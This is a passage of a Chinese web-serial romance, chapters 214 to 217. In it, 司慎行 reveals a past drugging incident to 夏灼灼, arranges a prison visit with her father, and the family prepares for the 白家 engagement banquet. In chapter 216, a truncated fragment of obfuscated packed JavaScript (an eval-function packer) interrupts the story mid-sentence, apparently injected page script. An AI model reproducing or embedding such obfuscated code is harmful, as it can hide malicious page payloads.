正准备今天就此作罢,谁曾想他这个弟弟坐不住,安排了一场蠢笨如猪的英雄救美。 以至于夏灼灼丈二和尚摸不着头脑。 “还是你比较聪明。”夏灼灼说。 司慎行摇摇头:“不是我聪明,是你被绕进去了。你一开始就自己做了设定,设定他们只要出手,就是窦斯齐的手笔,却忘了他们兄弟俩不是一条心。” 夏灼灼听到这话,却突然眼睛一亮。 “他们兄弟两个不是一条心,那我能不能挑拨窦斯礼,反过来设计他哥呢?” 司慎行不赞成。 “那个窦斯礼不是个好东西,他什么事情都做得出来。” “你觉得我算计不过他?” “你这么聪明,当然算计得过她。我只是不想你去冒险。只要是你,我一丁点风险也不想让你担。这件事,还是交给我来办吧。” 夏灼灼也不赞成他。 “窦家本来就怀疑你已经站到党家这边了,这件事你还是不要插手,让我来。” 两个人就这件事讨论了近半个小时。 到最后,两个人各退一步,谁都不出手,等着窦家兄弟先出手,他们再见招拆招。 就等于是回到了一开始夏灼灼的打算。 意见一致后,夏灼灼说:“我的事情说完了,该轮到你了。” 司慎行不着急说,先带她回到泳池边。 侍应生端上来两杯柠檬水,很快退下去了。 夏灼灼喝了一口,不解道:“你到底在磨磨蹭蹭些什么?不像你的风格。” 司慎行没有在磨蹭,他只是不知道该如何开口。 但该说的,早晚要说。 就算她怪他,他也不能瞒着她。 因为的确是伤害到了她。 谷仔对夏灼灼很崇拜,他看得出来。 可就连谷仔都用“发疯”来形容夏灼灼,可见她当时情绪有多崩溃。 司慎行深吸了一口气,道:“你还记得我之前跟你提起过泉灵山庄吗?” 夏灼灼点头,心里更奇怪。 “泉灵山庄你提第四次了,那里到底发生过什么事,让你一直问我?” 司慎行静静看着她,眼神深远而复杂。 “你一点都不记得吗?一点影子也没有?” 夏灼灼如实摇头:“我的确经常去那里,但我不记得有发生过什么特别的事情。不会是……你在那里见过我,当时就对我一见钟情了吧?” 她是开玩笑的。 却没想到,司慎行竟然真的点头了。 夏灼灼有点懵。 “什么时候?” 司慎行的外貌、气质,都不是一般人能比拟的,而她自诩记忆力很好,不可能见过司慎行却不记得他。 哪怕他当时只是个私生子,她也会记得他这张脸。 “在你失忆那段时间。”司慎行说。 夏灼灼恍然大悟。 “怪不得我不记得了……不对,你怎么知道我有一段记忆是没有的?” “谷仔告诉我的。” “吃饭的时候我中途去了一趟卫生间,他是那个时候告诉你的?” “什么都瞒不过你的眼睛。” “我说过的,不许有什么瞒我,你一旦有事瞒着我,我一定能看出来。” “是,所以我现在跟你坦白了。” “那你见到我的那个时候,我在干什么?”夏灼灼笑意盈盈。 她以为,司慎行是在跟她说初见她时一见倾心的情景,却没想到,司慎行接下来的话,让她大半天都愣在原地。 “你那天,被人下药了……” 司慎行一字一句,把那天所有的记忆和事情一点一点还原。 夏灼灼模模糊糊之间,脑子里出现了一点影子。 故而,她知道司慎行说的都是真的。 只是越清楚司慎行说的是真话,她越是手脚冰凉,唇色也变白了。 “别害怕。”司慎行用力握住她的手,说:“一切都过去了。” 夏灼灼摇摇头。 “我没有害怕,只是惊讶。事情已经发生,并且已经结束,没有什么好怕的了。” “那你怎么……手都在抖?” 夏灼灼低头看了一眼,才发现自己的手不由自主地颤抖起来。 她到底还是个女孩子。 心里觉得自己很坚强,可到底是肉做的。 夏灼灼手上用了力,控制住自己不再发抖。 她不再逞强了,哑着声音说:“我的确……有点害怕。不过,比起我自己,谷仔他们当时面对的压力不比我少。” 也怪不得,他要为自己找催眠师。 仅仅只是失恋的话,就为她找催眠师,这有点小题大做了。 只是在这之前,她并没深想。 现在细细想来才觉得这件事从里到外都透着古怪。 “这一年来,我竟然没有半点怀疑。我真傻。” “不是你傻,是因为你的人对你都是真心的,他们真心护着你,所以不会透出半点端倪叫你怀疑。” 夏灼灼突然想起上个月的一件事。 “当时谷仔要攻破一个防火墙,那个防火墙……” “是我的。” “……” “我当时也神志不清,对你的长相几乎没有印象,所以一直在查那个女人是谁。我想报恩。后来查到当天的一段录像,但因为录像太模糊,就叫人修复,谷仔的人却在那个时候攻破了我的防火线,把录像抢走了。好在,我还有备份……” “你怎么一点都不告诉我?” “我不知道该怎么开口,我害怕你会怪我。” “你现在就不怕我会怪你了?” 司慎行直视着她的眼睛说:“我怕。那你怪我吗?” 夏灼灼仔细想了想,说:“当时肯定是怪的,按理说,我肯定会杀了你。但大概是我当时的药效还没完全过……你逃过了一劫。” “……谢谢你的不杀之恩。” 夏灼灼笑起来,心情不那么沉重了。 “我也应该谢谢你。”她说:“如果不是你,我可能已经被那几个乞丐……” 司慎行直接吻住她的唇,阻止她继续说下去。 虽然事情已经过去,但他提都不想让夏灼灼提起。 那几个人从夏灼灼嘴里说出来,都算侮辱了夏灼灼的嘴。 良久,司慎行才放开她。 夏灼灼的气息微微有些乱,脸颊一片红色。 司慎行强迫自己别开眼,否则他会忍不住进行下一步。 当然—— 他无论如何都会忍住的。 第一次情况特殊,他没有给她留下美好的记忆,成为她“发疯”的导火索。 所以第二次,他一定会让她觉得那是美好的事。 “我应该更早一点查到你。这样,我们就能更早认识。”司慎行说。 夏灼灼却道:“你更早认识我,我不一定会喜欢你。现在这样时机刚刚好。” 司慎行想反驳。 但他也知道夏灼灼说的是实话。 他再早一点出现的确没用。 当时她的心正被另一个男人占据。 不像现在,正好宗域腾出了位置,他才有机会搬进她的心。 人总喜欢做假设,殊不知“此刻”才是最值得珍惜的。 这一晚,两个人聊了很久,司慎行才送她回家。 夏灼灼回到家却不急着洗漱休息。 她给谷仔打了个电话。 谷仔几乎是秒接,语气里带了一丝忐忑:“老大……什么事?” 夏灼灼没拐弯抹角。 “泉灵山庄的事我已经知道了。” 电话那头的谷仔一愣,随即道歉。 “对不起,老大。” “谢谢你,谷仔。” ——两人几乎同时出声。 谷仔愣了下,就听夏灼灼继续说道:“谢谢你一直守护着我。” 谷仔一个大男人,此刻眼眶却一下子变得湿漉漉的,眼睛像在下雨。 第214章 互相“面试” 两个人聊了很久。 聊当时的事情。 很多当时发生的事情谷仔为了不让夏灼灼察觉异样,都没有告诉她。 夏灼灼心平气和地听完了。 “那个奸细,是谁的人?” “她死也不说,是个倔骨头。不过我想大概率是白家的人。当时白季勇还在京都,跟着窦部做事,窦部想除掉暗部已久,但自己不出手,就让白家人来。” 夏灼灼却对此存疑。 “我跟白家打过几次交道,他们没有能安插人到我们暗部的能力。” “不是白家,那是谁?” “继续查。” “是。” 末了,夏灼灼说:“你们都辛苦了,等事情结束,都好好放松一阵子。” “是!” 通话结束,夏灼灼躺在床上,努力想靠自己回想起那段记忆。 可都是朦朦胧胧的,像一个影子。 她索性放弃。 只是想到自己跟司慎行竟然在那时候就……她就觉得这个世界真是造化弄人。 上天其实待她很不好,却又几次手下留情。 她甚至不知道自己是该感谢上天,还是怨恨上天。 第二天,司慎行又叫她吃饭。 这次吃的是法餐。 夏灼灼是典型的华国胃,外国的食物其实不太合她口味。 但她没透露出不喜,在电话里答应了。 临出门,夏太太得知她去吃法餐,一副欲言又止的模样。 夏灼灼问:“妈,怎么了?” “没什么……” “肯定有什么,您的眉毛都皱在了一起。” 夏太太哑然失笑,只好如实说:“你爸爸最喜欢吃法餐。” 夏灼灼了然。 怪不得夏太太听说她去吃法餐,表情看起来有些悲伤。 她握住夏太太的手,说:“等爸爸出来,我们一家人一起去吃法餐。” 夏太太红着眼角点头。 “嗯!” …… 夏灼灼很快到了地方。 来到门口,却踌躇着没有进去。 不知道为什么,她竟然有些害怕见司慎行。 可能是得知了泉灵山庄的事情。 但早晚得进去。 她一咬牙,刚要进门,司慎行突然走了出来。 “在里面看到你一直站在外面不进来,怎么了?” 他一如往常穿着一身黑色西装,跟她说话的时候神情专注,只盯着她的眼睛看。 夏灼灼却下意识把目光往下扫。 等发现自己的视线太直接后,连忙快速收回来。 脸却已经红了。 司慎行猜到了原因,薄唇一勾,拉住她的手。 “不要害怕我,我们已经在一起了,以后也一定会结婚,那件事,我们只是提早做了。” 夏灼灼的脸更红了一些。 “有没有人告诉你,不要点破女孩子的心思?” “没有。” 司慎行摇头说:“除了你,我没怎么跟别的女孩子打过交道,懒得猜她们的心思。” ——完美答案。 “我真怀疑你谈过很多次恋爱。” “怎么讲?” “我们真的要在餐厅门口讲?” 司慎行收了话头,牵着她进去。 餐厅已经被包场,偌大的大堂,只有他们两个。 很快菜上来,夏灼灼对鹅肝和红酒牛肉都没有什么兴趣,反而是吃了好几口免费的小面包。 “你不喜欢吃法餐?”司慎行问。 夏灼灼点头又摇头:“不算讨厌。” “那就是不喜欢。” 他当即打了个电话,叫四季阁送菜来。 夏灼灼想说不用麻烦,司慎行道:“只是一个电话而已,不是我亲自去跑腿,你不用心疼我。” “……” “当然,也不用心疼跑腿的。接了这一单,他赚的比别的单子多。” 等待的时间,司慎行问她:“除了日料、法餐,你还有什么不喜欢吃的?一次性都告诉我,我以后就不会犯错了。” 夏灼灼也不扭捏,如实说:“外国的菜我都吃不怎么习惯。华夏餐的话,我基本都不挑。” 司慎行认真记下了。 “除了吃的,还有什么忌讳的?” 他一副恨不得拿笔记下来的模样。 夏灼灼笑了。 “我们之间,还真像是在做生意。” “什么?” “做生意需要时刻记住对方的喜好,免得犯了对方的忌讳,耽误合作。” 她说到这,话音一转,说:“但是,阿行,我们不是在做生意。你犯了我的忌讳是没有关系的,不用这么费心思。” 她说过,她的底线是不隐瞒她。 除了这个,其他一切都可以商量。 “不。”司慎行却不赞成:“我们虽然不是在做生意,但我把你看得比生意重无数倍,你值得我费心思,我也乐意。” “……”夏灼灼说不过他,只好把自己一些不太喜欢的东西告诉他。 “雨天的事情,我不太爱出门,我不喜欢那种踩在湿漉漉的地面上的感觉。” 司慎行点头。 “但是我喜欢打雷。” “听到打雷声,我会注意力更集中,更有力量。” “我挺喜欢吃甜食。” “我不喜欢在密闭空间里闻到烟味,这会让我觉得呼吸不顺畅。” “我喜欢运动,出汗的感觉让我觉得很舒服……” 司慎行一一记在脑子里。 她说的差不多了,便问司慎行:“你呢?我以前都没了解过你,你有什么喜好吗?” 司慎行也一一告诉她。 他还有一个习惯,每天早晚都要冲凉。 “我也很喜欢运动。”他说。 一句很简单很正常的话,夏灼灼不知为何红了脸。 可能是他看她的眼神太不清白了。 但她并不讨厌。 “至于其他的喜好,好像没有。你知道的,我不是生下来就是司家掌权人,以前过的就是普通日子,所以吃什么玩什么都行。” 两个人说完彼此的喜好之后,都笑了。 “我们像是在互相面试。”司慎行说。 夏灼灼也觉得很好笑。 他们从司慎行告白到现在,好像都跟普通人情侣不太一样。 不过两人都不讨厌他们的相处模式,他们本身就是相似的人,甚至不怎么需要磨合。 就在这时候,四季阁的菜到了。 尝到了地道的华夏菜,夏灼灼才敞开胃吃。 不过她天生胃口小,所谓的敞开胃,也只是多吃了两口菜。 “你得多吃点,太瘦了,台风都能把你刮走。”司慎行说:“我会努力喂饱你。” 夏灼灼又有点脸红。 她不禁反思,难道她骨子里是个好色的女人? 所以总把司慎行的话想歪? 但对自己的男朋友好色,好像也很正常。 一顿饭吃完,司慎行却又点了几个菜。 “帮我带包装好,我要带走。” “好的,司先生。” 服务生很快去了。 夏灼灼疑惑。 “你还没吃饱?还是给别人带饭?” “给别人。” “给谁?” “一会儿你就知道了。”司慎行卖起了关子。 “……” 他总是很轻易地能勾起夏灼灼的好奇心。 好在,很快目的地就到了。 夏灼灼看着面前的看守所,眸光闪了闪。 她想起来,出门前,夏太太说夏云海最爱吃法餐。 “你来带我见我爸爸?” 司慎行不再卖关子了,他点头说:“是,也不完全是。更准确来说,我也想见见夏伯父。” 夏太太很喜欢他,这是他用努力和真心,还有一点小算计换来的——那天夏灼灼发烧住院,他带着工地的安全帽跑去医院看她,其实不是做给夏灼灼看,是做给夏太太看。 有时候想获得丈母娘的喜欢,也需要耍一点小心机。 太老实的女婿,是讨不了丈母娘的好的。 但丈母娘重要,老丈人同样也很重要。 尤其在挑明泉灵山庄的事情后,他迫不及待想得到夏家所有人的认可,他才好跟夏灼灼求婚。 是的,求婚。 他已经认定,自己这辈子非夏灼灼不可了。 他自己的爸爸不同意又如何? 他不是从前那个任人踩踏的私生子了,他爸也不再是那个一句话就能定他生死的人。 他努力至今,就为了能活成自己想要的样子。 说他自私也罢,说他不孝也好——横竖他从小到大,除了自己的身份被换回来之后,他没有感受过半天父爱。 以前,司董事长只是把他当一个宠物养的。 直到他这个宠物展示出了自己的能力,他才正视了他几眼,但这几眼,也不带着父爱,只是带着对宠物的估价。 所以司慎行认为,他不欠司董事长什么。 他们父子感情,本来就淡薄。 “灼灼。”他用力握住她的手,认真地说:“我是真心想跟你过一辈子,所以,你能帮我说说我的好话吗?” 他的态度甚至带了一点卑微。 夏灼灼一瞬间很心疼他。 他跟自己一样,也是从记事后,都没有在爱里长大。 而现在,自己已经找回了爱她的家人,而司慎行,却永远得不到家人的爱了。 会无条件爱他的司太太,早已经去世了。 而司董事长,比起父子之情,他更在乎这个儿子是否成器。 因为若司董事长真是那种重父子感情的人,绝对不会在知道司慎行才是所谓的“嫡子”之后,就立刻把原来那位赶出国,让司慎行继承他的位置了。 一条狗养久了,都还有感情呢,何况是人,何况另一位也是他的亲生儿子。 可见,司董事长是个情感上很淡漠的人。 但以后,她会成为他的家人。 “好,我帮你说好话。”夏灼灼认真点头。 司慎行笑了。 很快里面有人出来,带夏灼灼进去。 第215章 见到夏父 路上,夏灼灼莫名有些紧张。 她被拐走的太早,不记得小时候的事情了。 对于夏云海,她也只是从夏太太给她的相册里见过。 是个笑起来很和蔼的男人。 除此之外,没有更多的印象了。 “夏小姐,您有半个小时的时间。”领她进门的男人在一间房前驻足。 夏灼灼道了谢,推门进去。 只看到一个穿着囚服的中年男人,安静地坐在那里,手上有镣铐,因而只能交叠放在桌上。 他比照片上的样子老了不少,鬓边有明显的白发。 不知为何,对夏灼灼来说,明明是“第一次”见面,却有种说不出来的心酸。 莫名想哭。 “爸,我是灼灼。”她主动自我介绍。 本以为夏云海见了她,会跟夏太太一样,喜极而泣,而后问起她以前是否受了委屈等等,却没想到,夏云海一开口就是:“你妈妈身体怎么样?” 夏灼灼一愣,随即释然笑了。 “她很好,我会一点医术,用中药把她的身子调理好了。” 夏云海的表情这才放松了许多。 “我真怕她在外面扛不住,我自己倒是无所谓,身子骨还算硬朗,只担心她……” 絮絮叨叨,说的全是夏太太。 夏灼灼有些明白,为什么生孩子对女人来说是生死大关,夏太太却愿意主动为夏云海生那么多孩子了。 ——他们这些孩子,都不是夏云海想要的。 是夏太太自己喜欢孩子。 夏云海很心疼她的身体,是不舍得她生那么多孩子的。 所以见了夏灼灼,他虽然很高兴她被找了回来,但说的大部分内容都是夏太太。 当然,到后面确定夏太太最近身体心情都不错之后,终于说起了她。 “外面给我透过很多消息,都是关于你的。” “你没有在我身边长大,却长成了最好的样子,我很为你自豪。” 夏灼灼扯唇笑了笑。 “我没有让您失望就好。” “怎么会失望?是我愧对你,身为你的父亲,却不能在你身边为你遮风挡雨,我很羞愧。我有时候经常在想,是不是我们当父母的过得太幸福了,才削了你的福气。如果真是这样,那我现在在里面,也算是吃过苦,老天应该可以把福气还给你了。” 夏灼灼忙说:“您别这样想,福气这东西,没有削不削的。” 夏云海点点头,终于问她小时候的事情。 夏灼灼掐头去尾,简单说了一下。 夏云海眉头紧皱。 “那些混账东西!竟然这样对你!” “他们现在已经遭到报应了。”夏灼灼说起了江泽和柳月茹的下场。 夏云海看她的眼神满是欣赏。 “杀伐果断,有我年轻时的影子!我就知道,我跟香香生的孩子,哪怕被别人养大,也绝不是孬种。” “……” “对了,你是怎么进来的?我这儿不允许任何人探视的。” 夏灼灼回答他:“是司慎行。” 又说:“我跟他在一起了。” 夏云海的眼睛瞪大。 他仿佛不太赞同,但不知道想到了什么,动了动唇,问她:“你妈妈同意吗?” “同意。” “她也喜欢司慎行?” “是。” “行,那你可以跟他在一起。” “……” “你在外面,多听你妈妈的话,我不是个聪明人,这辈子能走到现在,全靠你妈妈出谋划策。她很聪明,她说什么,你就听什么,绝不会走错路。我这一辈子,都是这么过来的,你妈是我们全家的福星。” “……好。” “还有。” “嗯?” “党帅可信。” “好。” 之后,夏云海又跟她对了对外面的情况,知道现在的大概局势之后,他道:“行了,我该说的都说完了,你把吃的放下,可以走了。回去记得告诉你妈妈,我在里面吃饱穿暖,让她别担心我。” “……好。” 夏灼灼起身走了,见到司慎行的时候,人还是有点懵懵的。 夏云海在她的脑子里是一张白纸,真正见了面之后,这张纸才绘制出彩色的人影。 他是一个很爱妻子的男人。 还有就是……有些憨,有些……中二。 她大概知道为什么夏怀武是那个性子了。 其他的孩子,性格多多少少都随了夏太太,唯独夏怀武。 “怎么不说话?”司慎行打量着她的脸色,分辨不出来夏灼灼此刻是什么情绪。 夏灼灼哭笑不得。 “我不知道该怎么形容……简直做梦一样。” “嗯?什么意思?” “我爸他……算了,我不知道该怎么说。不过你可以放心,他接受你了。” 司慎行的眼睛亮起来。 “你说什么好话了?” “……我什么都没说,他只问我妈妈喜不喜欢你,得到肯定的答案后,他就直接同意我们在一起了。” 又说了他们大概的对话。 司慎行:“……” 他大概猜到夏灼灼为什么这么难以形容了。 他沉默一阵,问:“你会不会有点失落?” “什么失落?” “他比起你,更在意你妈妈。” 夏灼灼笑了。 “家庭之间本就该如此。孩子本就是父母爱情的结晶。父母可以疼孩子,却不能越过夫妻彼此去,孩子也有会自己的伴侣,此生的挚爱,这才是良性循环。所以我不失落,只是很惊讶他竟然是这样的性格。” 司慎行道:“有句话,叫大智若愚。” 夏灼灼深以为然。 “我觉得,他这样挺可爱的。” “我不可爱吗?” “你连我爸的醋都吃?” “法律没规定不能吃老丈人的醋。” “……谁是你老丈人?我们还没结婚呢。” “他已经接受我了。” “那是看在我妈的面子上。” “那也算接受我。” “……”她说不过他,索性不说了。 司慎行笑了笑,与她十指相扣,一起上了车。 到了车上,夏灼灼想起一件事,问司慎行:“下周是白家女儿白知芙的订婚宴,你会去吗?” “不去。” 顿了下,又问:“你希望我去?” 夏灼灼点头。 “我要给我大哥铺路,但我一个不够,得算上你。” “好。” 白知芙订婚,还不配他亲自出席。 但既然是为未来的大舅子造势,他是很情愿的。 “那就这么说定了。” …… 回到家,夏灼灼把司慎行带她去见了夏云海的事情告诉了夏太太。 夏太太惊讶之余,忙问起夏云海的近况。 “他瘦了没有?不……你没见过他进去之前的样子。他精神头可还好?” “一切都好,他只是很担心您,让您不要为他担心。” 夏太太点点头,随即问起她对夏云海的印象。 “爸爸是个很可爱的人。”她说。 “可爱”是个中性词,夏太太笑了下,说:“他这个人,有时候看起来不着调,但遇上正经事,他从来不犯糊涂。” “爸爸说,他都是跟着您走。只要跟着您走,他就不会走错路。” 夏太太听了,眼眶有一点红。 “你可能不相信,你爸爸走到今天,都是为了我。他本来是没什么大志向的。” “我看的出来……” “当初,你外婆那边,并不同意我们在一起,觉得他胸无大志,不能给我很好的生活。但我当时就知道,我跟着他,他绝不会让我受苦。世界上的人很多,可是依旧很难遇上对的人。” “我知道,你爸爸就是那个对的人。所以哪怕跟家人闹僵,我也还是毅然决然要嫁给他。你也是一样,灼灼,我从慎行的眼睛里就能看出来,他跟你爸爸一样,都是会倾尽一切,爱护自己女人的人。” “你们两个,一定要好好的。既然在一起了,遇上事,两个人要有商有量的。不要一个不说,另一个乱猜。沟通永远是最好的解决问题的方式。“ 夏灼灼郑重点头。 “我记住了,妈。” 夏太太和夏云海的事情,之前夏灼灼已经听夏太太和几个哥哥提过一嘴。 当时宁家人是想把夏太太嫁给京都一个本地高门的。 可夏太太不肯。 她不顾家人反对,嫁给了当时只开了一家小公司的夏云海。 宁家人从此跟她翻脸,不再认她这个女儿。 可后面事实证明夏太太的选择是对的。 宁家为她挑选的那个男人,后来很快就跟别的女人结了婚。 结婚之后,那个女人才知道,原来自己这个丈夫早在外面藏了女人,且那个女人还育有一子。 两个人直接闹上了法庭。 又过几年,那个男人另又娶了一个太太,可不到一年时间又离婚了。 还是因为女人问题。 可想而知,如果夏太太当时听从宁家的安排,嫁给那个男人,会过什么日子。 夏灼灼仔细回想今天夏云海跟她见面后聊的话。 发现夏云海真是满心满眼都是夏太太。 一般夫妻之间有了子女之后,都会更在乎子女一些,但夏云海始终在意的都是他的妻子。 这样一个男人,的确可以被夏太太称得上是“对的人”了。 她不禁想,以后她要是真的跟司慎行结婚了,司慎行会跟她爸爸一样,从始至终心里装的最多的,都是她吗? 这个问题眼下注定是得不到答案的。 毕竟他们还没结婚。 很快一周时间过去,夏灼灼提前一天,跟夏太太提起了白知芙的事情。 第216章 按腰 “你要跟你大哥去参加她的订婚宴?” “是。”夏灼灼点头。 夏太太心里并不赞成。 她仔细说起这几年白家对夏怀征做的事情。 “他们家的人,都不是什么好东西!他们请你哥哥去,是想借用他,洗刷自己的忘恩负义的真面目。” 夏灼灼道:“如果是以前的大哥去了,他们的确能达成目的。但现在的大哥,不是以前的大哥了。妈,你信我,大哥受的这两年的**,在明天都会讨回来。” “怎么讨?” “我请了帮手。”夏灼灼却不细说,而是卖了个关子:“您很快就会知道了。” 夏太太一脸无奈,但想着夏灼灼聪明,肯定已经计算周全了,所以最终还是点了头。 “好吧!” 得到了夏太太的同意,夏灼灼就去找夏怀征商量明天的事情去了。 “大哥,你落后我几分钟再到。” “为什么?” “欲扬先抑。” 夏怀征听懂了,点头同意。 又聊了一些细节,夏灼灼就回了房间。 她给冯昭阳打了个电话。 “冯先生,我有一件事,可能得拜托您。” “你说。” 夏灼灼便说了自己想相求的事情。 冯昭阳本以为是什么难办的事,听完后,眉头宽松几分。 “这简单,我安排下去。” “多谢冯先生。” “夏小姐客气了,安安今天还闹着说要来找你玩。” “正好我今天没事做,可以在家里等他。” “那我现在送他过来。” “好。” 一个小时后,冯淮安来了。 今天冯太太出去为丈夫应酬,冯淮安是由冯昭阳的警卫送过来的。 夏太太早知道冯淮安要过来,准备了很多小孩子的玩具,还亲手做了烘焙蛋糕。 冯淮安玩得很开心。 他还想跟家里的“将军”玩,但因为他对动物**过敏,夏灼灼不让他靠近,只远远让他看自己是怎么训练将军的。 “将军,去接回来!” 夏灼灼把一个飞盘扔出去。 将军扭头就追,一个起跳,稳稳接住飞盘,咬着尾巴叼回来。 冯淮安激动地拍手。 “好聪明!” 夏灼灼道:“你好好吃饭,好好长大,身体免疫力好了,以后就不过敏了。” “我不过敏 ,就可以养小狗了吗?” “当然。” 于是冯淮安回去之后,硬是吃了两碗米饭。 冯太太打电话回来夸夏灼灼。 “还是你有办法,安安之前可挑食了。” 就是因为挑食,才比同龄的男孩子都要小个。 也正因如此,夏灼灼初见冯淮安的时候,还以为他只有七八岁。 夏灼灼说:“如果您不介意,以后可以常让安安过来玩,我跟我妈妈都很喜欢安安。” “好啊。”冯太太自然高兴。 两人又聊了一会儿冯淮安后,冯太太说:“我受邀参加白家的订婚宴,可能推不了。” 她虽然来沪城的日子不久,但不代表她消息不灵通。 故而她知道夏家和白家的龃龉,提前跟夏灼灼解释,她也是不乐意赴宴的,只是身份摆在这里,白季勇跟冯昭阳是同事,冯昭阳可以不去,但她这个当太太的不能不去。 “真是太抱歉了。”冯太太说。 “我理解的,您不用觉得抱歉。” “白家在那件事上,的确做的太过了,再怎么样,也应该两家人坐下来好好商量。你们难不成还会赖上他们不可?简直是小人之心。” 提起夏怀征的事情,冯太太都跟着生气。 哪有这样的人家? 夏怀征救了他们女儿的命,他们却因为夏怀征因为救人,双腿废了,白家就立刻悔婚。 夏灼灼宽慰冯太太,并且透露给了她一点消息。 冯太太双眸发亮。 “你哥哥的腿,真的好了?” 夏灼灼“嗯”了声。 冯太太高兴地拍手。 “就该这样!好人就该有好报的!” 夏灼灼说:“只是消息还没透出去。明天我跟大哥会参加他们的订婚宴,到那时候,所有人就都知道,我大哥已经不是残废了。” “我等着看你打脸白家。” “好!” 电话打完,旁边的冯淮安扯了扯冯太太的衣角。 “妈妈,明天天使姐姐也要去吗?你能不能也带我去吃喜酒?” “不行。”冯太太直接拒绝:“你明天得去上学了。” 冯淮安立刻聋拉下脸,开始哭闹。 “我就要去,就要去!反正我已经请假了半个月了,老师已经习惯我请假了。” “……” 最后冯太太还是心软答应了。 只是有一个条件:“明天天使姐姐有正事要做,你 不能捣乱,也不要表现得跟她太亲近,知道吗?” “为什么?” “因为你跟她走太近,有人会嫉妒她。嫉妒她,就会想害她。” 冯淮安似懂非懂地点点头:“我知道啦!” 他如今已经能把话说的很清晰,连带着身上的奶气好像都没了,是个真正的十岁的大孩子了。 大孩子是不会捣乱的。 说不定,他还能帮上夏灼灼一点忙。 …… 转眼到了第二天。 夏怀征穿上了夏灼灼给他定制的西装。 西装是今天夏灼灼去取来的。 除了夏怀征,夏怀呈、夏怀乐还有夏怀瑾都有。 不过,还多出了一套。 夏灼灼自己小心收好,打算明天送给司慎行。 夏怀征这一套西装是深蓝色的,剪裁得当,正好贴合他的身形。 他以前坐轮椅的时候,夏灼灼还不觉得有什么,现在他能自如走动了,夏灼灼就觉得他非常高大。 他是几个哥哥里,除了夏怀武之外,长得最高的。 深蓝色沉稳的颜色衬得他原本就修长的身形越发挺拔,却又不过分沉闷。 袖口处微微露出一截铂金袖扣,显得他更有品位,叫人过目难忘。 “灼灼这套西装挑得很好。”夏怀征说。 夏灼灼笑笑,说:“大哥如果不介意,在有嫂子之前,你的西装都由我包了。” 夏怀征还没来得及说话,夏六立刻凑过来。 “我也要!妹姐,你不能厚此薄彼。我跟你才是最亲的。” “谁说的?”夏怀呈说:“小七跟我才是最亲的。” 夏怀呈也打趣:“都别争了,小七跟我才是最好的。” 几个人闹在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏灼灼一早就出发了,所以到的比较早,山间的雾气还没完全消散,薄雾如纱漫过大半个酒店。 这里的大堂设计也很清雅,调高的圆形穹顶悬挂着枯山水吊饰,风经过的时候,会发出清脆的银铃声。 她被侍应生指引着去了给她安排的房间休息,等候中午的订婚宴开始。 夏灼灼站在露台上,望着前面的漂亮景色,脑子转的很快。 她在细细思索今天的安排。 其实也没有太大的安排,打击白家,不是一朝一夕。 不过这里的确是个好地方。 无边际泳池仿佛直接消融在山林里,上面是**晴空,一点阳光透过厚重的云层飞下来,仿佛是倾斜而下的九天银河。 也许将来有空了,她也开一间这样的度假酒店,然后长住一段时间。 房门在这时候被敲响。 夏灼灼应了声,警惕拉开一条小缝,一个高大的身影却直接挤进来,用力抱住了她。 夏灼灼已经看清了来人,所以没有挣扎更没有出手。 因为是司慎行。 他身上是跟她相同味道的首乌藤香。 他仿佛抱不够她似的,好一会儿都不肯撒手。 夏灼灼推了推他。 “我站僵了。” 司慎行这才放开她,却伸手按了按她的腰。 “是腰僵了吗?你躺到床上,我给你按按。” 第217章 白家订婚宴 夏灼灼还没来得及回答,司慎行已经把她拦腰抱起来。 他的手臂很粗,是常年健身和习武锻炼出来的,那天在古武堂,她见过他的身手。 故而司慎行抱起她来,丝毫不费力。 也正因为这样,夏灼灼没反应过来的时候,人已经被他放在床上。 夏灼灼在那一瞬间呼吸有点快速,心慌的可怕。 可下一秒,司慎行直接将她面朝下,翻了个身。 “是这里僵硬吗?”他宽大的手掌带着炙热的温度摁在她的腰上,以一种很轻巧的力度替她按揉着。 夏灼灼的身子不自觉放松下来。 今天她的腰的确很酸,不知是为什么。 可能是坐了两个多小时的车,腰坐酸了。 也可能是司慎行抱了她太久,她全身紧绷着,才导致的腰酸。 她也意识到,司慎行真的只是帮她按腰而已。 她在紧张些什么? 夏灼灼有点尴尬。 不过司慎行的按摩技术真的很好,她竟然不知不觉小眯了一下。 等醒过来,是半小时之后了。 司慎行站在露台外面接电话。 露台的玻璃门关着,但她仍然听到司慎行说了些什么。 “我知道,我自有安排,还希望您别太干涉我。” 他的脸色不太好。 夏灼灼隐约猜到他在跟谁打电话。 很快司慎行挂了电话走进来。 看到夏灼灼睁着眼睛坐在床上看他,脸上立刻恢复了笑容。 “醒了?” 夏灼灼点点头,不避讳自己刚才听到了他跟人打了电话,直言说:“我刚才听到你跟人说话了,是司董事长吗?” 司慎行点头。 “是他。” “他又让你离我远点?” “嗯。”司慎行答应过她不瞒着她任何事,便说:“方局是我的人,但也是老头的人。” ——老头也就是司董事长,他经常以此称呼自己的父亲。 只听司慎行继续说道:“上周你在蛇山出事,我去警局看你,方局也见到我了,他跟老头说了。” 夏灼灼蹙眉。 司慎行却是伸手揉了揉她的头发,很轻松地说:“放心,他拆散不了我们。” 夏灼灼别开他的手,很认真地说:“他们说,得不到长辈祝福的婚姻是不会幸福的……我想得到司伯父的认可。” “你不需要。严格意义上来说,他都不算是我 的父亲。在我最需要父亲的时候,他从来不在我旁边。” “可你身上流着他的血,他就是你的父亲。” “我不想你委屈自己。” 夏灼灼摇摇头,说:“你想得到我爸妈和我哥哥的认可,我也一样。阿行,你让我试试?” 司慎行深深看她一眼,突然上前,用力吻住她。 两唇交缠,两人呼吸都变得急促起来。 房间内的温度仿佛陡然攀升。 最后还是司慎行用了毕生的克制力才松开了她。 “谢谢你,灼灼,谢谢你为我付出这些。” 夏灼灼哑然失笑:“我都还什么都没做呢。” “你有这份心就够了。” “有心还不够,还得行动。不过,你得先帮我查清楚,他为什么突然不让我们往来。” 一开始的时候,司董事长明明是认他们的婚约的。 短短两个月时间,司董事长突然改口。 这不正常。 “我已经在查了,得到消息第一时间告诉你。” “好。” 就在这时,门铃声响起。 夏灼灼对司慎行做了个噤声的手势,问外面:“谁?” “是我!天使姐姐!” 是冯淮安的声音。 “来了……” 夏灼灼答应着,又看了司慎行一眼。 司慎行很无奈地低声说:“冯太太是自己人,没关系的。” 夏灼灼便起身去开门了。 